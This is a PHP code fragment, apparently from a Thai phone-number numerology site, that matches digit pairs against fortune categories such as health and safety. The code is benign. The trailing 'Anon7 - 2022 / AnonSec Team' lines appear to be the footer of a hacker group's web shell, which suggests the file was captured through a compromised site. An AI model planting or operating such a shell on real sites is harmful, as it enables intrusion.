			if($ch == ''){$ch = in_array('415',$pho_2); if($ch==1){ $num = '415';}}
			if($ch == ''){$ch = in_array('451',$pho_2); if($ch==1){ $num = '451';}}
			if($ch == ''){$ch = in_array('514',$pho_2); if($ch==1){ $num = '514';}}
			if($ch == ''){$ch = in_array('541',$pho_2); if($ch==1){ $num = '541';}}
			if($ch == ''){$ch = in_array('145',$pho_2); if($ch==1){ $num = '145';}}
			if($ch == ''){$ch = in_array('154',$pho_2); if($ch==1){ $num = '154';}}
			if($ch == ''){$ch = in_array('45',$pho_2); if($ch==1){ $num = '45';}}
			if($ch == ''){$ch = in_array('54',$pho_2); if($ch==1){ $num = '54';}}
			if($ch == ''){$ch = in_array('56',$pho_2); if($ch==1){ $num = '56';}}
			if($ch == ''){$ch = in_array('65',$pho_2); if($ch==1){ $num = '65';}}
			if($ch == ''){$ch = in_array('55',$pho_2); if($ch==1){ $num = '55';}}
			//อุปภัมภ์
			if($ch == ''){$ch = in_array('45',$pho_2); if($ch==1){ $num = '45';}}
			if($ch == ''){$ch = in_array('54',$pho_2); if($ch==1){ $num = '54';}}
			if($ch == ''){$ch = in_array('56',$pho_2); if($ch==1){ $num = '56';}}
			if($ch == ''){$ch = in_array('65',$pho_2); if($ch==1){ $num = '65';}}
			if($ch == ''){$ch = in_array('55',$pho_2); if($ch==1){ $num = '55';}}
			if($ch == ''){$ch = in_array('15',$pho_2); if($ch==1){ $num = '15';}}
			if($ch == ''){$ch = in_array('51',$pho_2); if($ch==1){ $num = '51';}}
			if($ch == ''){$ch = in_array('59',$pho_2); if($ch==1){ $num = '59';}}
			if($ch == ''){$ch = in_array('95',$pho_2); if($ch==1){ $num = '95';}}
		}
		if($id==13 || $id=='')//มิตรภาพ/สังคม
		{
			if($ch == ''){$ch = in_array('64',$pho_2); if($ch==1){ $num = '64';}}
			if($ch == ''){$ch = in_array('46',$pho_2); if($ch==1){ $num = '46';}}
			
			//อุปภัมภ์
			if($ch == ''){$ch = in_array('45',$pho_2); if($ch==1){ $num = '45';}}
			if($ch == ''){$ch = in_array('54',$pho_2); if($ch==1){ $num = '54';}}
			if($ch == ''){$ch = in_array('56',$pho_2); if($ch==1){ $num = '56';}}
			if($ch == ''){$ch = in_array('65',$pho_2); if($ch==1){ $num = '65';}}
			if($ch == ''){$ch = in_array('55',$pho_2); if($ch==1){ $num = '55';}}
			if($ch == ''){$ch = in_array('15',$pho_2); if($ch==1){ $num = '15';}}
			if($ch == ''){$ch = in_array('51',$pho_2); if($ch==1){ $num = '51';}}
			if($ch == ''){$ch = in_array('59',$pho_2); if($ch==1){ $num = '59';}}
			if($ch == ''){$ch = in_array('95',$pho_2); if($ch==1){ $num = '95';}}	
			//การเรียน/การงาน
			if($ch == ''){$ch = in_array('415',$pho_2); if($ch==1){ $num = '415';}}
			if($ch == ''){$ch = in_array('451',$pho_2); if($ch==1){ $num = '451';}}
			if($ch == ''){$ch = in_array('514',$pho_2); if($ch==1){ $num = '514';}}
			if($ch == ''){$ch = in_array('541',$pho_2); if($ch==1){ $num = '541';}}
			if($ch == ''){$ch = in_array('145',$pho_2); if($ch==1){ $num = '145';}}
			if($ch == ''){$ch = in_array('154',$pho_2); if($ch==1){ $num = '154';}}
			if($ch == ''){$ch = in_array('45',$pho_2); if($ch==1){ $num = '45';}}
			if($ch == ''){$ch = in_array('54',$pho_2); if($ch==1){ $num = '54';}}
			if($ch == ''){$ch = in_array('56',$pho_2); if($ch==1){ $num = '56';}}
			if($ch == ''){$ch = in_array('65',$pho_2); if($ch==1){ $num = '65';}}
			if($ch == ''){$ch = in_array('55',$pho_2); if($ch==1){ $num = '55';}}
		}
		if($id==16 || $id=='')//สุขภาพ
		{
			if($ch == ''){$ch = in_array('38',$pho_2); if($ch==1){ $num = '38';}}
			if($ch == ''){$ch = in_array('83',$pho_2); if($ch==1){ $num = '83';}}
			if($id==16){if($ch == ''){ $num = 'NO 38/83';}}
		}
		if($id==17 || $id=='')//แคล้วคลาด
		{
			if($ch == ''){$ch = in_array('49',$pho_2); if($ch==1){ $num = '49';}}
			if($ch == ''){$ch = in_array('94',$pho_2); if($ch==1){ $num = '94';}}
			if($ch == ''){$ch = in_array('09',$pho_2); if($ch==1){ $num = '09';}}
			if($ch == ''){$ch = in_array('90',$pho_2); if($ch==1){ $num = '90';}}
			if($ch == ''){$ch = in_array('39',$pho_2); if($ch==1){ $num = '39';}}
			if($ch == ''){$ch = in_array('93',$pho_2); if($ch==1){ $num = '93';}}
			if($ch == ''){$ch = in_array('99',$pho_2); if($ch==1){ $num = '99';}}
		}
		return $num;
	}
	
	
	
}
?>

Anon7 - 2022
AnonSec Team